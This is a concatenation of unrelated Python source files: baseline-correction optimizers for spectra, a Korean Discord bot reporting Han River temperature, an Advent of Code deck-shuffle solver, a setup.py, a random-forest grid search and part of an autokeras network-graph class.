        Keyword arguments to pass to the selected `method` function.

    Returns
    -------
    baselines : np.ndarray, shape (M, N)
        An array of all of the baselines.
    params : dict
        A dictionary with the following items:

        * 'average_weights': numpy.ndarray, shape (N,)
            The weight array used to fit all of the baselines.

        Additional items depend on the output of the selected method. Every
        other key will have a list of values, with each item corresponding to a
        fit.

    References
    ----------
    Chen, L., et al. Collaborative Penalized Least Squares for Background
    Correction of Multiple Raman Spectra. Journal of Analytical Methods
    in Chemistry, 2018, 2018.

    """
    fit_func = _get_function(method, (whittaker, morphological))
    dataset = np.asarray(data)
    if average_dataset:
        _, fit_params = fit_func(np.mean(dataset.T, 1), **method_kwargs)
        method_kwargs['weights'] = fit_params['weights']
    else:
        weights = np.empty_like(dataset)
        for i, entry in enumerate(dataset):
            _, fit_params = fit_func(entry, **method_kwargs)
            weights[i] = fit_params['weights']
        method_kwargs['weights'] = np.mean(weights.T, 1)

    method_kwargs['tol'] = np.inf
    baselines = np.empty(dataset.shape)
    params = {'average_weights': method_kwargs['weights']}
    for i, entry in enumerate(dataset):
        baselines[i], param = fit_func(entry, **method_kwargs)
        for key, value in param.items():
            if key in params:
                params[key].append(value)
            else:
                params[key] = [value]

    return baselines, params

def optimize_extended_range(data, x_data=None, method='asls', side='both', width_scale=0.1,
                            height_scale=1., sigma_scale=1. / 12., min_value=2,
                            max_value=8, step=1, pad_kwargs=None, **method_kwargs):
    """
    Extends data and finds the best parameter value for the given baseline method.

    Adds additional data to the left and/or right of the input data, and then iterates
    through parameter values to find the best fit. Useful for calculating the optimum
    `lam` or `poly_order` value required to optimize other algorithms.

    Parameters
    ----------
    data : array-like, shape (N,)
        The y-values of the measured data, with N data points.
    x_data : array-like, shape (N,), optional
        The x-values of the measured data. Default is None, which will create an
        array from -1 to 1 with N points.
    method : str, optional
        A string indicating the Whittaker-smoothing-based or polynomial method
        to use for fitting the baseline. Default is 'asls'.
    side : {'both', 'left', 'right'}, optional
        The side of the measured data to extend. Default is 'both'.
    width_scale : float, optional
        The number of data points added to each side is `width_scale` * N. Default
        is 0.1.
    height_scale : float, optional
        The height of the added Gaussian peak(s) is calculated as
        `height_scale` * max(`data`). Default is 1.
    sigma_scale : float, optional
        The sigma value for the added Gaussian peak(s) is calculated as
        `sigma_scale` * `width_scale` * N. Default is 1/12, which will make
        the Gaussian span +- 6 sigma, making its total width about half of the
        added length.
    min_value : int or float, optional
        The minimum value for the `lam` or `poly_order` value to use with the
        indicated method. If using a polynomial method, `min_value` must be an
        integer. If using a Whittaker-smoothing-based method, `min_value` should
        be the exponent to raise to the power of 10 (eg. a `min_value` value of 2
        designates a `lam` value of 10**2).
        Default is 2.
    max_value : int or float, optional
        The maximum value for the `lam` or `poly_order` value to use with the
        indicated method. If using a polynomial method, `max_value` must be an
        integer. If using a Whittaker-smoothing-based method, `max_value` should
        be the exponent to raise to the power of 10 (eg. a `max_value` value of 3
        designates a `lam` value of 10**3).
        Default is 8.
    step : int or float, optional
        The step size for iterating the parameter value from `min_value` to `max_value`.
        If using a polynomial method, `step` must be an integer.
    pad_kwargs : dict, optional
        A dictionary of options to pass to :func:`.pad_edges` for padding
        the edges of the data to prevent edge effects from convolution. Default
        is None, which will use an empty dictionary.
    **method_kwargs
        Keyword arguments to pass to the selected `method` function.

    Returns
    -------
    baseline : numpy.ndarray, shape (N,)
        The baseline calculated with the optimum parameter.
    method_params : dict
        A dictionary with the following items:

        * 'optimal_parameter': int or float
            The `lam` or `poly_order` value that produced the lowest
            root-mean-squared-error.
        * 'min_rmse': float
            The minimum root-mean-squared-error obtained when using
            the optimal parameter.

        Additional items depend on the output of the selected method.

    Raises
    ------
    ValueError
        Raised if `side` is not 'left', 'right', or 'both'.
    TypeError
        Raised if using a polynomial method and `min_value`, `max_value`, or
        `step` is not an integer.
    ValueError
        Raised if using a Whittaker-smoothing-based method and `min_value`,
        `max_value`, or `step` is greater than 100.

    Notes
    -----
    Based on the extended range penalized least squares (erPLS) method from [1]_.
    The method proposed by [1]_ was for optimizing lambda only for the aspls
    method by extending only the right side of the spectrum. The method was
    modified by allowing extending either side following [2]_, and for optimizing
    lambda or the polynomial degree for all of the affected algorithms in
    pybaselines.

    References
    ----------
    .. [1] Zhang, F., et al. An Automatic Baseline Correction Method Based on
           the Penalized Least Squares Method. Sensors, 2020, 20(7), 2015.
    .. [2] Krishna, H., et al. Range-independent background subtraction algorithm
           for recovery of Raman spectra of biological tissue. Journal of Raman
           Spectroscopy. 2012, 43(12), 1884-1894.

    """
    method = method.lower()
    side = side.lower()
    if side not in ('left', 'right', 'both'):
        raise ValueError('side must be "left", "right", or "both"')

    fit_func = _get_function(method, (whittaker, polynomial, morphological))
    y, x = _yx_arrays(data, x_data)
    sort_order = np.argsort(x)  # to ensure x is increasing
    x = x[sort_order]
    y = y[sort_order]
    max_x = np.nanmax(x)
    min_x = np.nanmin(x)
    x_range = max_x - min_x
    known_background = np.array([])
    fit_x_data = x
    fit_data = y
    lower_bound = upper_bound = 0

    if pad_kwargs is None:
        pad_kwargs = {}
    added_window = int(x.shape[0] * width_scale)
    added_left, added_right = _get_edges(y, added_window, **pad_kwargs)
    added_gaussian = gaussian(
        np.linspace(-added_window / 2, added_window / 2, added_window),
        height_scale * np.nanmax(y), 0, added_window * sigma_scale
    )
    if side in ('right', 'both'):
        added_x = np.linspace(max_x, max_x + x_range * (width_scale / 2), added_window)
        fit_x_data = np.hstack((fit_x_data, added_x))
        fit_data = np.hstack((fit_data, added_gaussian + added_right))
        known_background = added_right
        upper_bound += added_window
    if side in ('left', 'both'):
        added_x = np.linspace(min_x - x_range * (width_scale / 2), min_x, added_window)
        fit_x_data = np.hstack((added_x, fit_x_data))
        fit_data = np.hstack((added_gaussian + added_left, fit_data))
        known_background = np.hstack((known_background, added_left))
        lower_bound += added_window

    if method in ('iasls', 'modpoly', 'imodpoly', 'poly', 'penalized_poly', 'loess', 'quant_reg'):
        method_kwargs['x_data'] = fit_x_data

    if 'poly' in method or method in ('loess', 'quant_reg'):
        if any(not isinstance(val, int) for val in (min_value, max_value, step)):
            raise TypeError((
                'min_value, max_value, and step must all be integers when'
                ' using a polynomial method'
            ))
        param_name = 'poly_order'
    else:
        if any(val > 100 for val in (min_value, max_value, step)):
            raise ValueError((
                'min_value, max_value, and step should be the power of 10 to use '
                '(eg. min_value=2 denotes 10**2), not the actual "lam" value, and '
                'thus should not be greater than 100'
            ))
        param_name = 'lam'

    min_rmse = np.inf
    best_val = None
    # TODO maybe switch to linspace since arange is inconsistent when using floats
    for var in np.arange(min_value, max_value + step, step):
        if param_name == 'lam':
            method_kwargs[param_name] = 10**var
        else:
            method_kwargs[param_name] = var
        fit_baseline, fit_params = fit_func(fit_data, **method_kwargs)
        # TODO change the known baseline so that np.roll does not have to be
        # calculated each time, since it requires additional time
        rmse = np.sqrt(np.mean(
            (known_background - np.roll(fit_baseline, upper_bound)[:upper_bound + lower_bound])**2
        ))

        if rmse < min_rmse:
            baseline = fit_baseline[lower_bound:fit_baseline.shape[0] - upper_bound]
            params = fit_params
            best_val = var
            min_rmse = rmse

    params.update({'optimal_parameter': best_val, 'min_rmse': min_rmse})

    return baseline[np.argsort(sort_order)], params

def _determine_polyorders(y, x, poly_order, weights, fit_function, **fit_kwargs):
    """
    Selects the appropriate polynomial orders based on the baseline-to-signal ratio.

    Parameters
    ----------
    y : numpy.ndarray
        The array of y-values.
    x : numpy.ndarray
         The array of x-values.
    poly_order : int
        The polynomial order for fitting.
    weights : numpy.ndarray
        The weight array for fitting.
    fit_function : Callable
        The function to use for the polynomial fit.
    **fit_kwargs
        Additional keyword arguments to pass to `fit_function`.

    Returns
    -------
    orders : tuple(int, int)
        The two polynomial orders to use based on the baseline to signal
        ratio according to the reference.

    References
    ----------
    Cao, A., et al. A robust method for automated background subtraction
    of tissue fluorescence. Journal of Raman Spectroscopy, 2007, 38, 1199-1205.

    """
    baseline = fit_function(y, x, poly_order, weights=weights, **fit_kwargs)[0]
    signal = y - baseline
    basline_to_signal = (max(baseline) - min(baseline)) / (max(signal) - min(signal))
    # Table 2 in reference
    if basline_to_signal < 0.2:
        orders = (1, 2)
    elif basline_to_signal < 0.75:
        orders = (2, 3)
    elif basline_to_signal < 8.5:
        orders = (3, 4)
    elif basline_to_signal < 55:
        orders = (4, 5)
    elif basline_to_signal < 240:
        orders = (5, 6)
    elif basline_to_signal < 517:
        orders = (6, 7)
    else:
        orders = (6, 8)  # not a typo, use 6 and 8 rather than 7 and 8

    return orders

def adaptive_minmax(data, x_data=None, poly_order=None, method='modpoly',
                    weights=None, constrained_fraction=0.01, constrained_weight=1e5,
                    estimation_poly_order=2, **method_kwargs):
    """
    Fits polynomials of different orders and uses the maximum values as the baseline.

    Each polynomial order fit is done both unconstrained and constrained at the
    endpoints.

    Parameters
    ----------
    data : array-like, shape (N,)
        The y-values of the measured data, with N data points.
    x_data : array-like, shape (N,), optional
        The x-values of the measured data. Default is None, which will create an
        array from -1 to 1 with N points.
    poly_order : int, Sequence(int, int) or None, optional
        The two polynomial orders to use for fitting. If a single integer is given,
        then will use the input value and one plus the input value. Default is None,
        which will do a preliminary fit using a polynomial of order `estimation_poly_order`
        and then select the appropriate polynomial orders according to [3]_.
    method : {'modpoly', 'imodpoly'}, optional
        The method to use for fitting each polynomial. Default is 'modpoly'.
    weights : array-like, shape (N,), optional
        The weighting array. If None (default), then will be an array with
        size equal to N and all values set to 1.
    constrained_fraction : float, optional
        The fraction of points at the left and right edges to use for the
        constrained fit. Default is 0.01.
    constrained_weight : float, optional
        The weighting to give to the endpoints. Higher values ensure that the
        end points are fit, but can cause large fluctuations in the other sections
        of the polynomial. Default is 1e5.
    estimation_poly_order : int, optional
        The polynomial order used for estimating the baseline-to-signal ratio
        to select the appropriate polynomial orders if `poly_order` is None.
        Default is 2.
    **method_kwargs
        Additional keyword arguments to pass to :func:`.modpoly` or
        :func:`.imodpoly`. These include `tol`, `max_iter`, `use_original`,
        `mask_initial_peaks`, and `num_std`.

    Returns
    -------
    numpy.ndarray, shape (N,)
        The calculated baseline.
    params : dict
        A dictionary with the following items:

        * 'weights': numpy.ndarray, shape (N,)
            The weight array used for fitting the data.
        * 'constrained_weights': numpy.ndarray, shape (N,)
            The weight array used for the endpoint-constrained fits.
        * 'poly_order': tuple(int, int)
            A tuple of the two polynomial orders used for the fitting.

    References
    ----------
    .. [3] Cao, A., et al. A robust method for automated background subtraction
           of tissue fluorescence. Journal of Raman Spectroscopy, 2007, 38,
           1199-1205.

    """
    fit_func = {'modpoly': polynomial.modpoly, 'imodpoly': polynomial.imodpoly}[method.lower()]
    y, x, weight_array, _ = _setup_polynomial(data, x_data, weights)
    constrained_range = max(1, ceil(y.shape[0] * constrained_fraction))

    if isinstance(poly_order, int):
        poly_orders = (poly_order, poly_order + 1)
    elif poly_order is not None:
        if len(poly_order) == 1:
            poly_orders = (poly_order[0], poly_order[0] + 1)
        else:
            poly_orders = (poly_order[0], poly_order[1])
    else:
        poly_orders = _determine_polyorders(
            y, x, estimation_poly_order, weight_array, fit_func, **method_kwargs
        )

    # use high weighting rather than Lagrange multipliers to constrain the points
    # to better work with noisy data
    constrained_weights = weight_array.copy()
    constrained_weights[:constrained_range] = constrained_weight
    constrained_weights[-constrained_range:] = constrained_weight

    # TODO should make parameters available; a list with an item for each fit like collab_pls
    baselines = np.empty((4, y.shape[0]))
    baselines[0] = fit_func(y, x, poly_orders[0], weights=weight_array, **method_kwargs)[0]
    baselines[1] = fit_func(y, x, poly_orders[0], weights=constrained_weights, **method_kwargs)[0]
    baselines[2] = fit_func(y, x, poly_orders[1], weights=weight_array, **method_kwargs)[0]
    baselines[3] = fit_func(y, x, poly_orders[1], weights=constrained_weights, **method_kwargs)[0]

    # TODO should the coefficients also be made available? Would need to get them from
    # each of the fits
    params = {
        'weights': weight_array, 'constrained_weights': constrained_weights,
        'poly_order': poly_orders
    }

    return np.maximum.reduce(baselines), params


###################
####python 3.x#####
#discord.py==1.4.0#
###################

import discord

client = discord.Client()

@client.event
async def on_ready():
    print("봇이 성공적으로 실행되었습니다.")
    game = discord.Game('★~하는중에 표시될 네임 작성★')
    await client.change_presence(status=discord.Status.online, activity=game)

@client.event
async def on_message(message):
    if message.content.startswith('봉순아 한강온도'): #requ,bs4
        url = "https://hangang.life"
        res = requests.get(url)

        soup = BeautifulSoup(res.text, "lxml")

        temp = soup.find("h1", attrs={"class":"white"}) #한강온도
        date = soup.find("font", attrs={"style":"font-weight: 700; font-size: 10pt;"}) #측정날짜

        hanembed = discord.Embed(title="💧 한강온도", description=f"{temp.get_text()}", colour=discord.Colour.blue())
        hanembed.set_footer(text=date.get_text())
        await message.channel.send(embed=hanembed)

client.run('★TOKEN★')


#!/usr/bin/env python3

import re

'''
cards in the deck numbered 0 through 10006
they're still in factory order, with 0 on the top, then 1, then 2, and so on

[1] deal into new stack
    Reverse it, e.g. 0;1;2;3;4 -> 4;3;2;1;0

[2] cut N
    take the top N cards off the top of the deck and
    move them as a single unit to the bottom of the deck, retaining their order
    e.g. if N = 2 and deck is 0;1;2;3;4 -> 2;3;4;0;1
    Also works if N is negative, e.g. -2 and deck is 0;1;2;3;4 -> 3;4;0;1;2

[3] deal with increment N

    start by clearing enough space on your table to lay out all of the cards individually in a long line.
    Deal the top card into the leftmost position.
    Then, move N positions to the right and deal the next card there.
    e.g if N = 2 and deck is
        0;1;2;3;4 ->
        0 1 2 3 4
        0 _ 1 _ 2
        0 3 1 4 2

'''

class Deck:

    def __init__(self, number_of_cards, rules):
        self.cards = Deck.create_deck(number_of_cards)
        self.shuffle_rules = rules

    @staticmethod
    def create_deck(number_of_cards, default_value=''):
        new_deck = []
        for i in range(number_of_cards):
            if default_value != '':
                new_deck.append(default_value)
            else:
                new_deck.append(i)
        return new_deck

    def apply_rule(self, rule):
        if rule.startswith('deal into new stack'):
            self.cards.reverse()
        elif rule.startswith('cut'):
            _, n, _ = re.split('cut (.+)', rule)
            n = int(n)
            if n > 0:
                self.cards = self.cards[n:] + self.cards[0:n]
            else:
                self.cards = self.cards[len(self.cards) - abs(n):] + self.cards[0:len(self.cards)-abs(n)]
            pass
        elif rule.startswith('deal with increment'):
            _, n, _ = re.split('deal with increment (.+)', rule)
            n = int(n)
            new_deck = Deck.create_deck(len(self.cards), 'NULL')
            deck_index = 0
            for idx in range(len(self.cards)):
                if deck_index < len(self.cards):
                    new_deck[deck_index] = self.cards[idx]
                else:
                    new_deck[(deck_index%len(self.cards))] = self.cards[idx]
                    deck_index = (deck_index%len(self.cards))
                deck_index += n
            self.cards = list(new_deck)
        else:
            Exception('Invalid rule')

    def shuffle_cards(self):
        for rule in self.shuffle_rules:
            self.apply_rule(rule)
        return str(self.cards)

    def find_card(self, card_to_find):
        for idx, el in enumerate(self.cards):
            if el == card_to_find:
                return idx

if __name__ == '__main__':
    with open('input', 'r') as file:
        input = file.readlines()
        deck = Deck(10007, input)
        print('After shuffling: ' + str(deck.shuffle_cards()))
        print('Card found is: ' + str(deck.find_card(2019)))


import os
from setuptools import setup

version = {}
with open("pylam/version.py") as fp:
    exec(fp.read(), version)

# Utility function to read the README file.
def read(fname):
    return open(os.path.join(os.path.dirname(__file__), fname)).read()

setup(
    name = 'pylam',
    version = version['__version__'],
    author = 'Frank Roemer',
    author_email = 'froemer76@googlemail.com',
    description = ("A python library for working with in and out put files for respectively generated by LAMMPS."),
    license = "MIT",
    keywords = "LAMMPS",
    url = "http://wgserve.de/pylam",
    packages=['pylam',
              'pylam/dev',
              'pylam/base'
              ],
    package_data={'': ['README', 'LICENSE', 'requirements.txt']},
    include_package_data=True,
    long_description=read('README'),
    install_requires=read('requirements.txt').splitlines(),
    classifiers=[
        'Operating System :: OS Independent',
        'Development Status :: 2 - Pre-Alpha',
        'License :: OSI Approved :: MIT License',
        'Intended Audience :: Developers',
        'Topic :: Software Development :: Libraries :: Python Modules',
        'Programming Language :: Python :: 2.7'
    ]
)


import numpy as np
import pandas as pd
from sklearn.model_selection import GridSearchCV
from sklearn.ensemble import RandomForestRegressor

for i in ['Z09', 'Z10', 'Z11', 'Z12']:
	xTrain = pd.read_csv('data/Xtrain.csv', index_col = 'Id')
	xTest = pd.read_csv('data/Xtest.csv', index_col = 'Id')
	yTrain = pd.read_csv('data/Ytrain.txt', sep = ' ',index_col = 'Id')
	print('{:-^20}'.format(""))
	print('Working on ', i)
	xTrain = xTrain.replace('?', np.nan)
	xTrain["B15"] = xTrain["B15"].astype(float)
	xTrain = xTrain.fillna(xTrain.mean())

	xTest = xTest.replace('?', np.nan)
	xTest["B15"] = xTest["B15"].astype(float)
	xTest = xTest.fillna(xTest.mean())

	yTrain = yTrain.fillna(yTrain.mean())

	param_grid = {
				'max_depth': [30, 50, 60, 70],
				'min_samples_split': [6, 8, 10, 12],
				'n_estimators': [80, 90, 100, 110]
				}
	# Create a based model
	rf = RandomForestRegressor()
	grid_search = GridSearchCV(estimator = rf, param_grid = param_grid,
                          cv = 3, n_jobs = -1, verbose = 2)
	# Fit the grid search to the data
	grid_search.fit(xTrain, yTrain)
	grid_search.best_params_

	model = RandomForestRegressor(grid_search.best_params_)

	model.fit(xTrain,yTrain)

	predict = model.predict(xTest)
	df_predict = pd.DataFrame(predict,columns = ['value'],index = xTest.index)
	filename = 'predict_data/%s.txt' % i
	df_predict.to_csv(filename ,sep=',',index = True)


from copy import deepcopy

from queue import Queue

from keras import Input
from keras.engine import Model
from keras.layers import Concatenate, Dense, BatchNormalization

from autokeras.layer_transformer import wider_bn, wider_next_conv, wider_next_dense, wider_weighted_add, \
    wider_pre_dense, wider_pre_conv, deeper_conv_block, dense_to_deeper_layer
from autokeras.layers import WeightedAdd, StubBatchNormalization, StubDense, StubConv, StubConcatenate, \
    StubWeightedAdd, StubActivation, StubPooling
from autokeras.utils import copy_layer, is_conv_layer, get_int_tuple, is_pooling_layer

class NetworkDescriptor:
    CONCAT_CONNECT = 'concat'
    ADD_CONNECT = 'add'

    def __init__(self):
        self.skip_connections = []
        self.conv_widths = []
        self.dense_widths = []

    @property
    def n_dense(self):
        return len(self.dense_widths)

    @property
    def n_conv(self):
        return len(self.conv_widths)

    def add_conv_width(self, width):
        self.conv_widths.append(width)

    def add_dense_width(self, width):
        self.dense_widths.append(width)

    def add_skip_connection(self, u, v, connection_type):
        if connection_type not in [self.CONCAT_CONNECT, self.ADD_CONNECT]:
            raise ValueError('connection_type should be NetworkDescriptor.CONCAT_CONNECT '
                             'or NetworkDescriptor.ADD_CONNECT.')
        self.skip_connections.append((u, v, connection_type))

class Graph:
    """A class represent the neural architecture graph of a Keras model.

    Graph extracts the neural architecture graph from a Keras model. Each node in the graph
    is a intermediate tensor between layers. Each layer is an edge in the graph.

    Notably, multiple edges may refer to the same layer. (e.g. WeightedAdd layer is adding
    two tensor into one tensor. So it is related to two edges.)

    Attributes:
        model: The Keras model, from which to extract the graph.
        node_list: A list of tensors, the indices of the list are the identifiers.
        layer_list: A list of Keras layers, the indices of the list are the identifiers.
        node_to_id: A dict instance mapping from tensors to their identifiers.
        layer_to_id: A dict instance mapping from Keras layers to their identifiers.
        layer_id_to_input_node_ids: A dict instance mapping from layer identifiers
            to their input nodes identifiers.
        old_layer_ids: A dict instance stores the identifiers of the not updated layers.
        adj_list: A two dimensional list. The adjacency list of the graph. The first dimension is
            identified by tensor identifiers. In each edge list, the elements are two-element tuples
            of (tensor identifier, layer identifier).
        reverse_adj_list: A reverse adjacent list in the same format as adj_list.
        next_vis: A boolean list marking whether a node has been visited or not.
        pre_vis: A boolean list marking whether a node has been visited or not.
        middle_layer_vis: A boolean list marking whether a node has been visited or not.
    """
    def __init__(self, model):
        layers = model.layers[1:]
        self.model = model
        self.node_list = []
        self.layer_list = []
        # node id start with 0
        self.node_to_id = {}
        self.layer_to_id = {}
        self.layer_id_to_input_node_ids = {}
        self.layer_id_to_output_node_ids = {}
        self.old_layer_ids = {}
        self.adj_list = {}
        self.reverse_adj_list = {}
        self.operation_history = []

        self.next_vis = None
        self.pre_vis = None
        self.middle_layer_vis = None
        self.input_shape = model.input_shape

        # Add all nodes
        for layer in layers:
            if isinstance(layer.input, list):
                for temp_input in layer.input:
                    self._add_node(temp_input)
            else:
                self._add_node(layer.input)
            self._add_node(layer.output)

        # Add all edges
        for layer in layers:
            self._add_edge(layer)

    def clear_operation_history(self):
        self.operation_history = []

    @property
    def n_nodes(self):
        """Return the number of nodes in the model."""
        return len(self.node_list)

    @property
    def n_layers(self):
        """Return the number of layers in the model."""
        return len(self.layer_list)

    def _add_node(self, node):
        """Add node to node list if it not in node list."""
        if node not in self.node_list:
            node_id = len(self.node_list)
            self.node_to_id[node] = node_id
            self.node_list.append(node)
            self.adj_list[node_id] = []
            self.reverse_adj_list[node_id] = []

    def _add_new_node(self):
        node_value = len(self.node_list)
        self._add_node(node_value)
        return self.node_to_id[node_value]

    def _add_edge(self, layer, input_id=None, output_id=None, old=True):
        """Add edge to the graph."""
        if input_id is None:
            if isinstance(layer.input, list):
                for temp_input in layer.input:
                    input_id = self.node_to_id[temp_input]
                    self._add_edge(layer, input_id, output_id, old)
                return
            input_id = self.node_to_id[layer.input]

        if output_id is None:
            output_id = self.node_to_id[layer.output]

        if layer in self.layer_to_id:
            layer_id = self.layer_to_id[layer]
            self.layer_id_to_input_node_ids[layer_id].append(input_id)
            self.layer_id_to_output_node_ids[layer_id].append(output_id)
        else:
            layer_id = len(self.layer_list)
            self.layer_list.append(layer)
            self.layer_to_id[layer] = layer_id
            self.layer_id_to_input_node_ids[layer_id] = [input_id]
            self.layer_id_to_output_node_ids[layer_id] = [output_id]

        self.adj_list[input_id].append((output_id, layer_id))
        self.reverse_adj_list[output_id].append((input_id, layer_id))

        if old:
            self.old_layer_ids[layer_id] = True

    def _redirect_edge(self, u_id, v_id, new_v_id):
        """Redirect the edge to a new node.
        Change the edge originally from u_id to v_id into an edge from u_id to new_v_id
        while keeping all other property of the edge the same.
        """
        layer_id = None
        for index, edge_tuple in enumerate(self.adj_list[u_id]):
            if edge_tuple[0] == v_id:
                layer_id = edge_tuple[1]
                self.adj_list[u_id][index] = (new_v_id, layer_id)
                break

        for index, edge_tuple in enumerate(self.reverse_adj_list[v_id]):
            if edge_tuple[0] == u_id:
                layer_id = edge_tuple[1]
                self.reverse_adj_list[v_id].remove(edge_tuple)
                break
        self.reverse_adj_list[new_v_id].append((u_id, layer_id))
        for index, value in enumerate(self.layer_id_to_output_node_ids[layer_id]):
            if value == v_id:
                self.layer_id_to_output_node_ids[layer_id][index] = new_v_id
                break

    def _replace_layer(self, layer_id, new_layer):
        """Replace the layer with a new layer."""
        old_layer = self.layer_list[layer_id]
        self.layer_list[layer_id] = new_layer
        self.layer_to_id[new_layer] = layer_id
        self.layer_to_id.pop(old_layer)
        self.old_layer_ids.pop(layer_id, None)

    def _topological_order(self):
        """Return the topological order of the nodes."""
        q = Queue()
        in_degree = {}
        for i in range(self.n_nodes):
            in_degree[i] = 0
        for u in range(self.n_nodes):
            for v, _ in self.adj_list[u]:
                in_degree[v] += 1
        for i in range(self.n_nodes):
            if in_degree[i] == 0:
                q.put(i)

        order_list = []
        while not q.empty():
            u = q.get()
            order_list.append(u)
            for v, _ in self.adj_list[u]:
                in_degree[v] -= 1
                if in_degree[v] == 0:
                    q.put(v)
        return order_list

    def _get_pooling_layers(self, start_node_id, end_node_id):
        layer_list = []
        node_list = [start_node_id]
        self._depth_first_search(end_node_id, layer_list, node_list)
        return filter(lambda layer_id: self._is_layer(self.layer_list[layer_id], 'Pooling'), layer_list)

    def _depth_first_search(self, target_id, layer_id_list, node_list):
        u = node_list[-1]
        if u == target_id:
            return True

        for v, layer_id in self.adj_list[u]:
            layer_id_list.append(layer_id)
            node_list.append(v)
            if self._depth_first_search(target_id, layer_id_list, node_list):
                return True
            layer_id_list.pop()
            node_list.pop()

        return False

    def _search_next(self, u, start_dim, total_dim, n_add):
        """Search downward the graph for widening the layers.

        Args:
            u: The starting node identifier.
            start_dim: The dimension to insert the additional dimensions.
            total_dim: The total number of dimensions the layer has before widening.
            n_add: The number of dimensions to add.
        """
        if self.next_vis[u]:
            return
        self.next_vis[u] = True
        self._search_pre(u, start_dim, total_dim, n_add)
        for v, layer_id in self.adj_list[u]:
            layer = self.layer_list[layer_id]

            if self._is_layer(layer, 'Conv'):
                new_layer = self._wider_next_conv(layer, start_dim, total_dim, n_add)
                self._replace_layer(layer_id, new_layer)

            elif self._is_layer(layer, 'Dense'):
                new_layer = self._wider_next_dense(layer, start_dim, total_dim, n_add)
                self._replace_layer(layer_id, new_layer)

            elif self._is_layer(layer, 'BatchNormalization'):
                if not self.middle_layer_vis[layer_id]:
                    self.middle_layer_vis[layer_id] = True
                    new_layer = self._wider_bn(layer, start_dim, total_dim, n_add)
                    self._replace_layer(layer_id, new_layer)
                self._search_next(v, start_dim, total_dim, n_add)

            elif self._is_layer(layer, 'WeightedAdd'):
                if not self.middle_layer_vis[layer_id]:
                    self.middle_layer_vis[layer_id] = True
                    new_layer = self._wider_weighted_add(layer, n_add)
                    self._replace_layer(layer_id, new_layer)
                self._search_next(v, start_dim, total_dim, n_add)

            elif self._is_layer(layer, 'Concatenate'):
                next_start_dim = start_dim
                next_total_dim = self._upper_layer_width(v)
                if self.layer_id_to_input_node_ids[layer_id][1] == u:
                    # u is on the right of the concat
                    next_start_dim += next_total_dim - total_dim
                self._search_next(v, next_start_dim, next_total_dim, n_add)

            else:
                self._search_next(v, start_dim, total_dim, n_add)

    def _search_pre(self, u, start_dim, total_dim, n_add):
        """Search upward the graph for widening the layers.

        Args:
            u: The starting node identifier.
            start_dim: The dimension to insert the additional dimensions.
            total_dim: The total number of dimensions the layer has before widening.
            n_add: The number of dimensions to add.
        """
        if self.pre_vis[u]:
            return
        self.pre_vis[u] = True
        self._search_next(u, start_dim, total_dim, n_add)
        for v, layer_id in self.reverse_adj_list[u]:
            layer = self.layer_list[layer_id]
            if self._is_layer(layer, 'Conv'):
                new_layer = self._wider_pre_conv(layer, n_add)
                self._replace_layer(layer_id, new_layer)
            elif self._is_layer(layer, 'Dense'):
                new_layer = self._wider_pre_dense(layer, n_add)
                self._replace_layer(layer_id, new_layer)
            elif self._is_layer(layer, 'BatchNormalization'):
                self._search_pre(v, start_dim, total_dim, n_add)
            elif self._is_layer(layer, 'Concatenate'):
                if self.layer_id_to_input_node_ids[layer_id][1] == v:
                    # v is on the right
                    other_branch_v = self.layer_id_to_input_node_ids[layer_id][0]
                    if self.pre_vis[other_branch_v]:
                        # The other branch is already been widen, which means the widen for upper part of this concat
                        #  layer is done.
                        continue
                    pre_total_dim = self._upper_layer_width(v)
                    pre_start_dim = start_dim - (total_dim - pre_total_dim)
                    self._search_pre(v, pre_start_dim, pre_total_dim, n_add)
            else:
                self._search_pre(v, start_dim, total_dim, n_add)

    def _upper_layer_width(self, u):
        for v, layer_id in self.reverse_adj_list[u]:
            layer = self.layer_list[layer_id]
            if self._is_layer(layer, 'Conv') or self._is_layer(layer, 'Dense'):
                return self._layer_width(layer)
            elif self._is_layer(layer, 'Concatenate'):
                a = self.layer_id_to_input_node_ids[layer_id][0]
                b = self.layer_id_to_input_node_ids[layer_id][1]
                return self._upper_layer_width(a) + self._upper_layer_width(b)
            else:
                return self._upper_layer_width(v)
        return self.input_shape[-1]

    def to_conv_deeper_model(self, target_id, kernel_size):
        """Insert a convolution, batch-normalization, relu block after the target block.

        Args:
            target_id: A convolutional layer ID. The new block should be inserted after the relu layer
                in its conv-batch-relu block.
            kernel_size: An integer. The kernel size of the new convolutional layer.

        Returns:
            A new Keras model with the inserted block.
        """
        self.operation_history.append(('to_conv_deeper_model', target_id, kernel_size))
        target = self.layer_list[target_id]
        new_layers = self._deeper_conv_block(target, kernel_size)
        output_id = self.layer_id_to_output_node_ids[target_id][0]
        output_id = self.adj_list[output_id][0][0]

        node_ids = []
        for i in range(3):
            node_ids.append(self._add_new_node())

        self._add_edge(new_layers[0], node_ids[0], node_ids[1], False)
        self._add_edge(new_layers[1], node_ids[1], node_ids[2], False)
        self._add_edge(new_layers[2], node_ids[2], self.adj_list[output_id][0][0], False)
        self._redirect_edge(output_id, self.adj_list[output_id][0][0], node_ids[0])

        self._refresh()

    def to_wider_model(self, pre_layer_id, n_add):
        """Widen the last dimension of the output of the pre_layer.

        Args:
            pre_layer_id: A convolutional layer or dense layer.
            n_add: The number of dimensions to add.

        Returns:
            A new Keras model with the widened layers.
        """
        self.operation_history.append(('to_wider_model', pre_layer_id, n_add))
        pre_layer = self.layer_list[pre_layer_id]
        output_id = self.layer_id_to_output_node_ids[pre_layer_id][0]
        self.next_vis = [False] * self.n_nodes
        self.pre_vis = [False] * self.n_nodes
        self.middle_layer_vis = [False] * len(self.layer_list)
        dim = self._layer_width(pre_layer)
        self._search_next(output_id, dim, dim, n_add)

        self._refresh()

    def to_dense_deeper_model(self, target_id):
        """Insert a dense layer after the target layer.

        Args:
            target_id: A dense layer.

        Returns:
            A new Keras model with an inserted dense layer.
        """
        self.operation_history.append(('to_dense_deeper_model', target_id))
        target = self.layer_list[target_id]
        new_layers = self._dense_to_deeper_layer(target)
        old_input_id = self.layer_id_to_input_node_ids[target_id][0]
        old_output_id = self.layer_id_to_output_node_ids[target_id][0]

        new_node_id = self._add_new_node()
        self._add_edge(new_layers, new_node_id, old_output_id, False)
        self._redirect_edge(old_input_id, old_output_id, new_node_id)

        self._refresh()

    def to_add_skip_model(self, start_id, end_id):
        """Add a weighted add skip connection from before start node to end node.

        Returns:
            A new Keras model with the added connection.
        """
        self.operation_history.append(('to_add_skip_model', start_id, end_id))
        conv_input_id = self.layer_id_to_input_node_ids[start_id][0]
        relu_input_id = self.adj_list[self.layer_id_to_output_node_ids[end_id][0]][0][0]

